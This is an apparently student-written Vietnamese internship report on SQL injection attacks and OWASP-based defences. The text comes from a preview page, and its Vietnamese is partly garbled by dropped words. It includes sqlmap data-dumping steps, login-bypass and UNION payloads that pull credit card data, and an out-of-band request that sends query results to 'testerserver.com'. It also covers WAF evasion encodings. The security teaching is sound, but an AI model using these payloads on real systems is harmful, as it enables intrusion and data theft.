Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 56 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
56
Dung lượng
8,42 MB
Nội dung
TRƯỜNG ĐẠI HỌC TÀI NGUYÊN VÀ MÔI TRƯỜNG HÀ NỘI KHOA CÔNG NGHỆ THÔNG TIN BÁO CÁO THỰC TẬP TỐT NGHIỆP NGHIÊN CỨU KỸ THUẬT SQL INJECTION TRONG TẤN CÔNG LỖ HỔNG BẢO MẬT WEBSITE Địa điểm thực tập tốt nghiệp: Viện Công nghệ thông tin, Viện Hàn lâm Khoa học Công nghệ Việt Nam Cán hướng dần : TS Vũ Văn Hiệu Sinh viên thực : Nguyễn Thành Đạt Lớp : ĐH9C6 Hà Nội, tháng 03/2023 LỜI CẢM ƠN Trên thực tế khơng có thành cơng mà không gắn liền với giúp đỡ người dù hay nhiều, dù trực tiếp hay gián tiếp Trong suốt thời gian học tập trình thực tập, em nhận nhiều quan tâm giúp đỡ nhiệt tình thầy cơ, bạn bè gia đình Đầu tiên em xin gửi lời cảm ơn sâu sắc đến Thầy TS Vũ Văn Hiệu, trực tiếp hướng dẫn giúp đỡ em nhiều thời gian em làm báo cáo thực tập tốt nghiệp Em xin cảm ơn Ban lãnh đạo đơn vị Viện Công nghệ thông tin, Viện Hàn lâm khoa học Công nghệ Việt Nam cho phWp tạo điều kiê Xn thuâ Xn lợi cho em thực tâ Xp Y đơnv vị Em xin gửi lời cảm ơn đến thầy cô Trong khoa Công nghệ thông tin đồng thời giáo viên chủ nhiệm lớp em, thầy cô giáo Khoa nhiệt tình giúp đỡ tạo điều kiện giấy tờ giúp em thuận lợi việc thực tập doanh nghiệp Cuối cùng, em xin gửi lời cảm ơn chân thành tới gia đình bạn bè giúp đỡ, động viên tạo điều kiện tốt cho em suốt trình học tập sống Vì thời gian có hạn nên báo cáo em nhiều hạn chế khơng thể tránh khỏi thiếu sót, mong thầy bạn có ý kiến đóng góp để em hồn thiện phát triển đề tài Em xin chân thành cảm ơn! Hà Nội, tháng 03 năm 2023 Sinh viên thực i Nguyễn Thành Đạt ii MỤC LỤC LỜI CAM ĐOAN i LỜI CẢM ƠN ii LỜI MỞ ĐẦU CHƯƠNG 1: TỔNG QUAN VỀ SQL INJECTION 1.1 Các khái niệm 1.1.1 Truy vấn SQL 1.1.2 Cơ chế hoạt động ứng dụng web application 1.1.3 SQL injection 11 1.2 Các nguy Sql injection 13 1.3 Các công Sql injection tiếng .15 1.4 OWASP 15 1.5 Tóm tắt 18 CHƯƠNG 2: CÁC HÌNH THỨC TẤN CÔNG SQL INJECTION 19 2.1 Các dạng lỗi thường gặp dẫn đến lỗ hổng SQL injection .19 2.1.1 Không kiểm tra ký tự kết thúc truy vấn .19 2.1.2 Xử lý kiểu 20 2.1.3 Lỗi bảo mật bên máy chủ sY liệu 20 2.1.4 Blind Sql injection .20 2.2 Các hình thức công phổ biến ứng dụng web .22 2.2.1 Tấn công vượt quyền đăng nhập 22 2.2.3 Tấn công sử dụng câu lệnh INSERT 24 2.2.4 Tấn công sử dụng store-procerdures 25 2.3 Cách thức kiểm tra lỗi hổng SQL Injection theo tiêu chuẩn WASP Detection Techniques 26 2.4 Tóm tắt 27 CHƯƠNG 3: THỬ NGHIỆM TẤN CÔNG SQL INJECTION VÀ GIẢI PHÁP PHÒNG CHỐNG DỰA TRÊN TIÊU CHUẨN OWASP .28 3.1 Các công cụ để khai thác lỗ hổng SQL injection 28 3.1.1 Sqlmap 28 3.1.2 The Mole 34 3.2 Giải pháp phòng chống dựa tiêu chuẩn OWASP 35 iii 3.2.1 Thực kiểm tra lỗ hổng SQL Injection theo tiêu chuẩn WASP Detection Techniques ……………………………………………………………………………35 3.2.1.1 Standard SQL Injection Testing 35 3.2.1.2 Exploitation Techniques 38 3.2.1.3 SQL Injection signature Evasion Techniques 43 3.3 Code review 45 3.4 Tóm tắt 46 KẾT LUẬN VÀ KIẾN NGHỊ 47 iv v DANH MỤC HÌNH ẢNH Hình 1.1 Các lệnh ngơn ngữ SQL …………………………………………… Hình 1.2 Mơ hình client – sever …….…………………………………………………6 Hình 1.3 Cơ chế hoạn động mơ hình client – sever ……………………………….9 Hình 1.4 Biểu mẫu HTML ………………………………………………………… 10 Hình 1.5 Mơ tả hình thức cơng SQL Injection ………………………………… 11 Hình 1.6 Top 19 rủi ro bảo mật ứng dụng năm 2013 2017 ……………………….13 Hình 3.1 Website lựa chọn để tiến hành khai thác lỗ hổng SQL Injection …….29 Hình 3.2 QuWt lỗi website ……………………………………………………… 30 Hình 3.3 Lệnh tiến hành tìm tên sY liệu ……………………………………….30 Hình 3.4 Các database tìm thấy website …………………………………… 31 Hình 3.5 Lệnh tìm bảng database acuart ………………………………… 31 Hình 3.6 Các bảng tìm thấy database acuart ……………………………… 32 Hình 3.7 Lệnh tìm tên cột bảng users …………………………………… 32 Hình 3.8 Các cột tìm thấy bảng users ……………………………………33 Hình 3.9 Lệnh lấy liệu từ bảng ……………………………………………………33 Hình 3.10 Các liệu khai thác từ bảng users …………………………………34 vi LỜI MỞ ĐẦU Lý chọn đề tài Thế giới ngày bùng nổ mạng máy tính, người nhanh chóng giao tiếp kết nối với dễ dàng thơng qua nhiều loại dịch vụ Internet Đây điều kiện thuận lợi cho thương mại điện tử ngày phát triển Hiện nay, Thương mại điện tử trY thành phương thức giao dịch quen thuộc công ty thương mại lớn giới ngày phát triển Việt Nam Trong sống ngày đại, thương mại điện tử dần phát triển phổ biến rộng rãi Sự gia tăng website thương mại điện tử năm gần kWo theo hàng loạt vấn đề bảo mật thương mại điện tử SQL Injection kỹ thuật công dễ thực hiện, thường nhắm đến sY liệu mang tính thương mại, ví dụ trang web thương mại điện tử, tài chính, ngân hang,… SQL Injection hình thức cơng truy vấn SQL ứng dụng bị chèn thêm tham số đầu vào “ khơng an tồn” người dùng nhập vào, từ mã lệnh gửi cho máy chủ database để phân tích cú pháp thực thi SQL injection thường biết đến vật trung gian cơng ứng dụng web có liệu quản lý hệ quản trị sY liệu có cấu trúc SQL Server, MySQL, Oracle, Nó cho phWp kẻ cơng thực thao tác người quản trị web, sY liệu ứng dụng Thông thường, công thường tiến hành việc sửa đổi nội dung database đối tượng chèn đoạn mã JavaScript độc hại Về chất, lỗ hổng SQL Injection xuất từ trình xử lý liệu input người dùng bên mã nguồn, thời gian bảo trì nguồn thường kWo dài nên lỗi SQL Injection chậm khắc phục triệt để SQL Injection mối hiểm họa nghiêm trọng giao dịch thương mại điện tử ứng dụng Web phát triển thiếu an toàn Hiện nay, việc nghiên cứu SQL Injection có hệ thống tồn diện Tuy nhiên, lỗ hổng phổ biến, khai thác nhiều năm trY lại Vì vậy, em định chọn đề tài “ Nghiên cứu kỹ thuật SQL Injection công lỗ hổng bảo mật website phương pháp phòng chống“ để tìm hiểu phịng chống cơng SQL Injection Mục tiêu đề tài Mục tiêu chung: Tìm hiểu kỹ thuật cơng website SQL Injection Mục tiêu cụ thể: Nghiên cứu thực thành công công SQL Injection Nội dung nghiên cứu Tìm hiểu sY lý thuyết SQL Injection phương pháp công phổ biến Nghiên cứu thực công website SQL Injection Áp dụng tiêu chuẩn bảo mật OWASP để đề xuất số giải pháp phòng chống SQL Injection Phương pháp nghiên cứu Phương pháp nghiên cứu lý thuyết: Thu thập nghiên cứu tài liệu kỹ thuật công website SQL Injection tiêu chuẩn bảo mật OWASP Phương pháp tổng hợp: Tổng hợp tài liệu, giới thiệu sY lý thuyết SQL Injection Phương pháp thực nghiệm: Khai thác lỗ hổng SQL Injection website quốc tế cho phWp Ý nghía lý luận thực tiễn báo cáo thực tập Như vậy, thực thành công đề tài mang lại ý nghĩa to lớn mặt lý luận lẫn thực tiễn Ý nghĩa báo cáo: Báo cáo thực tập tốt nghiệp trY thành tài liệu học tập, tham khảo, dễ hiểu, hữu ích cho bạn sinh viên khoa Cơng nghệ thông tin hiểu SQL Injection Ý nghĩa thực tiễn báo cáo: Báo cáo đưa đầy đủ cách thức thực công SQL Injection giúp người phòng trách lỗi bảo mật SQL trình xây dựng quản lý website Bố cục chung báo cáo Chương 1: Tổng quan SQL Injection: Các khái niệm SQL, chế hoạt động ứng dụng web application SQL Injection; Các nguy SQL Injection công SQL Injection tiếng tổng quan WASP Chương 2: Các hình thức công SQL Injection: Các lỗi thường gặp dẫn đến lỗ hổng SQL Injection; Các hình thức cơng phổ biến ứng dụng web Chương 3: Thử nghiệm cơng SQL Injection giải pháp phịng chống dựa tiêu chuẩn OWASP: Các công cụ để tạo lỗ hổng SQL Injection; Các hình thức kiểm tra lỗ hổng SQL Injection theo tiêu chuẩn OWASP CHƯƠNG 1: TỔNG QUAN VỀ SQL INJECTION 1.1 Các khái niệm 1.1.1 Truy vấn SQL SQL (Structured Query Language) hay ngơn ngữ truy vấn mang tính cấu trúc, loại ngơn ngữ máy tính phổ biến để tạo, sửa, lấy liệu từ hệ quản trị sY liệu quan hệ Ngôn ngữ phát triển vượt xa so với mục đích ban đầu để phục vụ hệ quản trị sY liệu đối tượng-quan hệ Nó tiêu chuẩn ANSI/ISO SQL ngôn ngữ tiêu chuẩn cho hệ sY liệu quan hệ Tất hệ thống quản trị sY liệu (RDBMS) MySQL, MS Access, Oracle, Sybase, Informix, Postgres hay SQL Server lấy SQL làm ngôn ngữ sY liệu tiêu chuẩn.[4] Trong mơ hình client/server, tồn CSDL tập trung lưu trữ máy chủ (Server), thao tác xử lý liệu thực máy chủ lệnh SQL Máy trạm (Client) dùng để cập nhật liệu cho máy chủ lấy thông tin từ máy chủ Trên lĩnh vực phát triển Internet, ngôn ngữ SQL lại đóng vai trị quan trọng Nó sử dụng để nhanh chóng tạo trang Web động (Dynamic Web Page) Trang Web động thường có nội dung lấy từ CSDL SQL sử dụng chất keo kết dính CSDL trang Web Khi người dùng yêu cầu, SQL thực việc truy cập thông tin CSDL máy chủ hiển thị kết trang Web Và SQL công cụ để cập nhật thông tin cho CSDL Hình 1.1 Các lệnh ngơn ngữ SQL Theo Microsoft, sY liệu (database) công cụ thu thập tổ chức thông tin Cơ sY liệu lưu trữ thơng tin người dùng, đơn đặt hàng dump: dùng để lấy toàn liệu bảng users Hình 3.9 Lệnh lấy liệu từ bảng Hình 3.10 Các liệu khai thác từ bảng users Thực Bước liên tiếp với tất tên bảng ta tìm Y Bước ta lấy toàn sY liệu website mục tiêu 3.1.2 The Mole The Mole công cụ khai thác SQL Injection tự động Chỉ cần cung cấp URL chuỗi giá trị website, The Mole phát lỗ hổng khai thác lỗ hổng sử dụng kết hợp với kỹ thuật khác hay kĩ thuật truy vấn theo kiểu boolean based Tính cơng cụ khai thác lỗ hổng SQL Injection tự động Hỗ trợ hệ quản trị sY liệu MySQL, SQL Server, Postgres Oracle Giao diện command line Các dòng lệnh khác thực chức khác Tự động hoàn thành lệnh, đối số sY liệu, tên bảng tên cột Hỗ trợ lọc để vượt qua quy tắc thông thường IPS/IDS tạo quy tắc dễ dàng kết hợp Khai thác SQL Injection thông qua tham số GET/POST/Cookie Được phát triển python 3.x Sử dụng đơn giản 3.2 Giải pháp phòng chống dựa tiêu chuẩn OWASP 3.2.1 Thực kiểm tra lỗ hổng SQL Injection theo tiêu chuẩn WASP Detection Techniques 3.2.1.1 Standard SQL Injection Testing Ví dụ (classical SQL Injection): Hãy xem xWt truy vấn SQL sau: SELECT * FROM Password='$password' Users WHERE Username='$username' AND Một truy vấn tương tự thường sử dụng từ ứng dụng web để xác thực người dùng Nếu truy vấn trả giá trị, điều có nghĩa bên sY liệu tồn người dùng với thơng tin xác thực Các giá trị trường đầu vào thường lấy từ người dùng thông qua biểu mẫu web Giả sử chèn giá trị username password vào sau: $username = 1' or '1' = '1 $password = 1' or '1' = '1 Câu truy vấn trY thành: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' Nếu giá trị tham số gửi đến máy chủ thông qua phương thức GET tên miền trang web dễ bị tổn thương www.example.com, lúc url trY thành: http://www.example.com/index.php?username=1'%20or%20'1'%20= %20'1&password=1'%20or%20'1'%20=%20'1 Chúng ta nhận thấy truy vấn trả giá trị (hoặc tập hợp giá trị) điều kiện ln (or = 1) Bằng cách này, hệ thống xác thực người dùng mà không cần biết tên người dùng mật Một ví dụ khác truy vấn đề cập sau: SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) Trong trường hợp này, hacker sử dụng chuỗi giá trị sau đề truyền vào trình thực đăng nhập: $username = 1' or '1' = '1'))/* $password = foo Bằng tách này, truy vấn trY thành sau: SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) Url sử dụng: http://www.example.com/index.php?username=1'%20or%20'1'%20= %20'1'))/*&password=foo Câu lệnh trả số giá trị Đơi khi, mã xác thực xác minh số lượng ghi trả xác Khác với ví dụ trước, tình khó khăn (trong sY liệu có giá trị cho người dùng) Để giải vấn đề này, việc chèn lệnh SQL áp đặt điều kiện số lượng kết trả phải Để đạt mục tiêu này, sử dụng toán tử "LIMIT ", số lượng ghi mà muốn trả Đối với ví dụ trước, giá trị trường username password sửa đổi sau: $username = 1' or '1' = '1')) LIMIT 1/* $password = foo Bằng cách này, tạo request sau: http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1')) %20LIMIT%201/*&password=foo Ví dụ (simple SELECT statement): Xem xWt câu truy vấn sau: SELECT * FROM products WHERE id_product=$id_product Đồng thời xem xWt request kịch thực truy vấn Y trên: http://www.example.com/product.php?id=10 Khi người kiểm tra thử giá trị hợp lệ (ví dụ giá trị 10), ứng dụng trả mô tả sản phẩm với id = 10 Một cách tốt để kiểm tra xem ứng dụng bị cơng kịch hay khơng sử dụng tốn tử AND OR Xem xWt request sau: http://www.example.com/product.php?id=10 AND 1=2 SELECT * FROM products WHERE id_product=10 AND 1=2 Trong trường hợp này, có thẻ ứng dụng trả số thơng báo cho biết khơng có nội dung có sẵn trang trống Sau đó, người kiểm tra gửi mệnh đề kiểm tra xem có kết hợp lệ khơng: http://www.example.com/product.php?id=10 AND 1=1 Ví dụ (Stacked queries): Tùy thuộc vào API mà ứng dụng web sử dụng DBMS (ví dụ: PHP + PostgreQuery, ASP + SQL SERVER) thực nhiều truy vấn request Xem xWt câu truy vấn sau: SELECT * FROM products WHERE id_product=$id_product Một cách để khai thác câu truy vấn mô tả sau: http://www.example.com/product.php?id=10; INSERT INTO users (…) Cách thực nhiều truy vấn liên tiếp độc lập với truy vấn Fingerprinting the Database Mặc dù ngôn ngữ SQL ngơn ngữ tiêu chuẩn, nhiên DBMS có đặc thù khác biệt với nhiều mặt cấu trúc câu lệnh hàm để lấy liệu Khi người kiểm tra chuyển sang khai thác lỗi SQL injection cao cấp hơn, họ cần biết sY liệu phía sau a Cách để tìm hiểu sY liệu sử dụng quan sát lỗi ứng dụng trả Sau số ví dụ thơng báo lỗi: MySql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line Một câu lệnh UNION SELECT hoàn chỉnh với phiên () giúp biết sY liệu phía sau SELECT id, name FROM users WHERE id=1 UNION SELECT 1, version() limit 1,1 Oracle: ORA-00933: SQL command not properly ended MS SQL Server: Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, PostgreSQL: Query failed: ERROR: syntax error at or near "’" at character 56 in /www/site/test.php on line 121 b Nếu khơng có thơng báo lỗi thơng báo tùy chỉnh, người kiểm tra thử đưa vào giá trị đặc biệt kỹ thuật nối chuỗi khác nhau: MySql: ‘test’ + ‘ing’ SQL Server: ‘test’ ‘ing’ Oracle: ‘test’||’ing’ PostgreSQL: ‘test’||’ing’ 3.2.1.2 Exploitation Techniques Union Exploitation Technique Toán tử UNION sử dụng SQL injections để tham gia truy vấn, người thử nghiệm tạo để giả mạo truy vấn ban đầu Kết truy vấn giả mạo kết hợp với kết truy vấn ban đầu, cho phWp người kiểm tra có giá trị khác bảng Giả sử truy vấn thực từ máy chủ sau: SELECT Name, Phone, Address FROM Users WHERE Id=$id Chúng thiết lập giá trị $id sau: $id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable Chúng ta có truy vấn sau đây: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable Câu lệnh kết hợp truy vấn ban đầu với tất số thẻ tín dụng bảng CreditCardTable Hơn nữa, nhận thấy ngồi số thẻ tín dụng, phải chọn hai giá trị khác Hai giá trị cần thiết hai truy vấn phải có số lượng cột để tránh lỗi cú pháp Yêu cầu việc kiểm tra lỗi SQL injection trường hợp này, sử dụng kỹ thuật để tìm số lượng cột câu lệnh SELECT Để thực điều này, người kiểm tra sử dụng mệnh đề ORDER BY theo sau số số cột sY liệu chọn: http://www.example.com/product.php?id=10 ORDER BY 10-Nếu truy vấn thực thành công, người kiểm tra nhận thấy có 10 cột trY lên câu lệnh SELECT Nếu truy vấn không thành cơng phải có 10 cột truy vấn trả Nếu có thơng báo lỗi, là: Unknown column '10' in 'order clause' Sau tìm số lượng cột, bước tìm data type cột Giả sử có cột, người kiểm tra thử data type, sử dụng giá trị NULL sau: http://www.example.com/product.php?id=10 UNION SELECT 1,null,null-Nếu truy vấn không thành công, người kiểm tra thấy thơng báo sau: All cells in a column must have the same datatype Nếu truy vấn thực thành công, cột số nguyên Sau đó, người kiểm tra xác định data type cho cột tiếp theo: http://www.example.com/product.php?id=10 UNION SELECT 1,1,null-Sau thu thập thông tin thành công, tùy thuộc vào loại ứng dụng, hiển thị cho người kiểm tra kết đầu tiên, ứng dụng xử lý dịng tập kết Trong trường hợp này, sử dụng mệnh đề LIMIT người kiểm tra đặt giá trị khơng hợp lệ, làm cho truy vấn thứ hai hợp lệ (giả sử khơng có mục sY liệu có ID 99999): http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null- Error based Exploitation technique Kỹ thuật thực cách thức buộc sY liệu thực số thao tác kết lỗi Vấn đề Y cố gắng trích xuất số liệu từ sY liệu hiển thị thông báo lỗi Xem xWt câu truy vấn sau: SELECT * FROM products WHERE id_product=$id_product Xem xWt url tương ứng sau: http://www.example.com/product.php?id=10 Request sau gửi tới máy chủ liệu (e.g Oracle 10g): http://www.example.com/product.php?id=10|| UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) ) Trong ví dụ này, người kiểm tra nối giá trị 10 với kết hàm UTL_INADDR.GET_HOST_NAME Hàm Oracle cố gắng trả tên máy chủ tham số truyền cho Khi sY liệu tìm kiếm tên máy chủ lưu trữ với tên sY liệu người dùng, thất bại trả thơng báo lỗi như: ORA-292257: host SCOTT unknown Từ đó, Ta thao tác với tham số truyền cho hàm GET_HOST_NAME () kết hiển thị thông báo lỗi Out of band Exploitation technique Kỹ thuật hữu ích người kiểm tra tìm thấy lỗ hổng Blind SQL Injection, khơng có thơng tin kết hoạt động truy vấn liệu Kỹ thuật bao gồm việc sử dụng hàm DBMS để thực kết nối băng tần cung cấp kết truy vấn đưa vào phần yêu cầu đến máy chủ Giống kỹ thuật khác, DBMS có hàm riêng để thực thi câu lệnh SQL Xem xWt câu truy vấn sau: SELECT * FROM products WHERE id_product=$id_product Xem xWt url tương ứng sau: http://www.example.com/product.php?id=10 Request sau gửi tới máy chủ liệu: http://www.example.com/product.php?id=10|| UTL_HTTP.request(‘testerserver.com:80’||(SELECT user FROM DUAL)-Trong ví dụ này, nối giá trị 10 với kết hàm UTL_HTTP.request Hàm Oracle cố gắng kết nối với ‘testerserver, tạo yêu cầu HTTP GET có chứa trả từ truy vấn người dùng: ”SELECT user FROM DUAL” Ta thiết lập máy chủ web (ví dụ: Apache) sử dụng cơng cụ Netcat: /home/tester/nc –nLp 80 GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close Time delay Exploitation technique Kỹ thuật khai thác độ trễ thời gian hữu ích người kiểm tra tìm thấy lỗ hổng Blind SQL Injection, khơng có thơng tin kết câu truy vấn Xem xWt câu truy vấn sau: SELECT * FROM products WHERE id_product=$id_product Xem xWt url tương ứng sau: http://www.example.com/product.php?id=10 Request sau gửi tới máy chủ liệu (ví dụ MySql 5.x): http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))-Trong ví dụ này, kiểm tra xem phiên MySql có phải 5.x hay khơng, làm cho máy chủ trì hỗn câu trả lời 10 giây, ngồi tăng thời gian trễ theo dõi phản hồi Trong thực tế, đơi ta đặt giá trị cao (ví dụ 100) hủy yêu cầu sau vài giây để chờ đợi lâu Stored Procedure Injection Khi sử dụng stored procedure, ứng dụng phải kiểm tra cách giá trị input người dùng để loại bỏ nguy SQL injection Nếu không người dùng nhập mã SQL độc hại thực thi stored procedure Xem xWt ví dụ SQL Server Stored Procedure sau: Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ‘ Select from users Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd exec(@sqlstring) Go Giá trị nhập vào từ người dùng: anyusername or 1=1' anypassword Procedure không kiểm tra giá trị đầu vào, cho phWp thực thi câu lệnh SQL injection Xem xWt ví dụ khác SQL Server Stored Procedure sau: Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go Giá trị nhập vào từ người dùng: from users; update users set password = 'password'; select * Câu lệnh cập nhật giá trị mật cho tất người dùng có sY liệu 3.2.1.3 SQL Injection signature Evasion Techniques Đây kỹ thuật sử dụng để vượt qua hệ thống phòng thủ tường lửa ứng dụng Web (WAF) hệ thống ngăn chặn xâm nhập (IPS) White Space Các khoảng trắng khơng ảnh hưYng đến câu lệnh SQL Ví dụ: or 'a'='a' or 'a' = 'a' Thêm ký tự đặc biệt xuống dịng tab khơng thay đổi khả thực thi câu lệnh SQL Ví dụ: or 'a'= 'a' Null Bytes Sử dụng ký tự null (% 00) trước ký tự mà lọc chặn: ' UNION SELECT password FROM Users WHERE username='admin' Câu lệnh SQL trY thành: %00' UNION SELECT password FROM Users WHERE username='admin'-SQL Comments Thêm cú pháp comment SQL giúp câu lệnh SQL trY thành hợp lệ bỏ qua lọc SQL injection: ' UNION SELECT password FROM Users WHERE name='admin'-Câu lệnh sử dụng SQL comments trY thành '/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/ LIKE/**/'admin'-'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/* */name/**/LIKE/**/'admin'-URL Encoding Sử dụng mã hóa URL để mã hóa câu lệnh SQL: ' UNION SELECT password FROM Users WHERE name='admin'-Câu lệnh sau mã hóa trY thành: %27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE %20name%3D%27admin%27-Character Encoding Hàm Char () sử dụng để thay chuỗi câu lệnh SQL Ví dụ: char (114.111.111.116) có nghĩa root ' UNION SELECT password FROM Users WHERE name='root'-Bằng cách áp dụng hàm Char(), câu lệnh SQL trY thành: ' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)-String Concatenation Kỹ thuật nối chuỗi nhằm khai thác câu lệnh nối khác (theo loại hình sY liệu) Lấy cơng cụ MS SQL làm ví dụ select Câu lệnh SQL đơn giản thay đổi sau cách sử dụng kỹ thuật nối chuỗi EXEC('SEL' + 'ECT 1') Hex Encoding Kỹ thuật mã hóa hex sử dụng mã hóa thập lục phân để thay chuỗi giá trị câu lệnh SQL gốc Ví dụ: 'root' biểu diễn dạng 726F6F74 Select user from users where name = 'root' Câu lệnh SQL cách sử dụng giá trị HEX là: Select user from users where name = 726F6F74 Select user from users where name = unhex('726F6F74') Declare variables Khai báo câu lệnh SQL injection vào biến execute máy chủ Ví dụ: câu lệnh SQL injection sau: Union Select password Câu lệnh thực thi phía máy chủ sau: ; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password'); EXEC(@SQLivar) 3.3 Code review Code review bước quan trọng việc kiểm định đánh giá mức độ an toàn ổn định hệ thống phần mềm Quá trình thường tiến hành song song với trình xây dựng hệ thống bảo trì, nâng cấp hệ thống phần mềm Core review thường tiến hành bYi chuyên gia có kinh nghiệm lập trình bảo mật phần mềm Một vài khuyến cáo OWASP đưa cho q trình sau: Ln validate giá trị đầu vào người dùng cách kiểm tra kiểu, độ dài, định dạng phạm vi phWp sử dụng Kiểm tra kích thước kiểu liệu đầu vào, thực thi giới hạn phù hợp Kiểm tra nội dung biến chuỗi chấp nhận giá trị cho phWp Từ chối giá trị có chứa liệu nhị phân, escape ký tự comment Khi làm việc với tài liệu XML, xác thực tất liệu theo lược đồ nó nhập Không xây dựng câu lệnh SQL trực tiếp từ input người dùng Sử dụng stored procedures để xác thực đầu vào người dùng, không sử dụng stored procedures, sử dụng API SQL cung cấp Thực thi nhiều lớp kiểm tra liệu Không nối chuỗi liệu người dùng không xác thực [2] 3.4 Tóm tắt Trong chương trình bày cơng cụ để khai thác lỗ hổng SQL Injection: SQLmap; The Mole Cách thức kiểm tra lỗi hổng SQL Injection theo tiêu chuẩn OWASP: Detection Techniques, Exploitation Techniques, SQL Injection signature Evasion Techniques Code review KẾT LUẬN VÀ KIẾN NGHỊ SQL injection năm gần lỗi bảo mật nghiêm trọng hệ thống thông tin sử dụng hệ quản trị sY liệu Các công thường xuyên sử dụng SQL injection bước trình khai thác lỗ hổng bảo mật Bản chất ngôn ngữ SQL hệ quản trị sY liệu không hàm chứa lỗ hổng bảo mật, nhiên cách thức sử dụng tương tác với liệu từ phía backend tạo nguy lớn dẫn đến khả bị tổn thương hệ thống lưu trữ Việc phát sinh phần lớn bYi trình kiểm định liệu truyền tới từ phía client chưa thực thi cách nghiêm ngặt, dẫn tới khả khai thác lỗ hổng SQL injection Đây nguyên tắc thiết kế xây dựng mơ hình bảo mật cho hệ thống thơng tin: không tin tưởng liệu từ phía người dùng Bảo mật phần mềm xu hướng phát triển vài năm trY lại Yếu tố đặc biệt quan trọng chiến tỷ trọng quan tâm ngày cao đơn vị cung cấp dịch vụ tài ngân hàng Xu hướng đặt thách thức đội ngũ giảng dạy, đào tạo công nghệ thông tin việc cung cấp kiến thức đủ tốt để học viên trang bị đủ kiến thức, đáp ứng nhu cầu công việc thực tế ngày tăng cao ngành công nghiệp phần mềm Sau thời gian tìm hiểu làm việc nghiêm túc, báo cáo thực tập đạt số kết mong muốn sau: Nắm khái niệm hệ thống ứng dụng web application, ngôn ngữ SQL hệ quản trị sY liệu phổ biến Giới thiệu tiêu chuẩn bảo mật OWASP, tiêu chuẩn bảo mật hàng đầu giới, sử dụng rộng rãi đơn vị đòi hỏi yêu cầu bảo mật cao liệu ngân hàng, bảo hiểm, tài chính… Đưa cách đầy đủ chi tiết lỗ hổng SQL injection cách thực công khai thác lỗ hổng SQL Injection Qua kêt đạt báo cáo thực tập tốt nghiệp, em thấy việc nghiên cứu kỹ thuật công SQL Injection địi hỏi q trình lâu dài Trước mắt, hướng phát triển báo cáo thực tập tốt nghiệp em nghiên cứu sâu lỗ hổng SQL Injection áp dụng OWASP làm tiêu chuẩn đánh giá bảo mật để phóng chống lỗ hổng SQL Injection hình thức cơng khác Từ nâng cao lực hiểu biết bảo mật, giúp nhân cơng nghệ thơng tin củng cố kiến thức, sẵn sàng đáp ứng nhu cầu ngày tăng cao nhân bảo mật tương lai gần TÀI LIỆU THAM KHẢO [1] OWASP Top 10 - 2017 by OWASP [2] OWASP_Code_Review_Guide_v2 by OWASP [3] Top 2017_Top_10) 10-2017 Top 10 (https://www.owasp.org/index.php/Top_10- [4] Testing for SQL Injection (OTG-INPVAL-005) (https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005))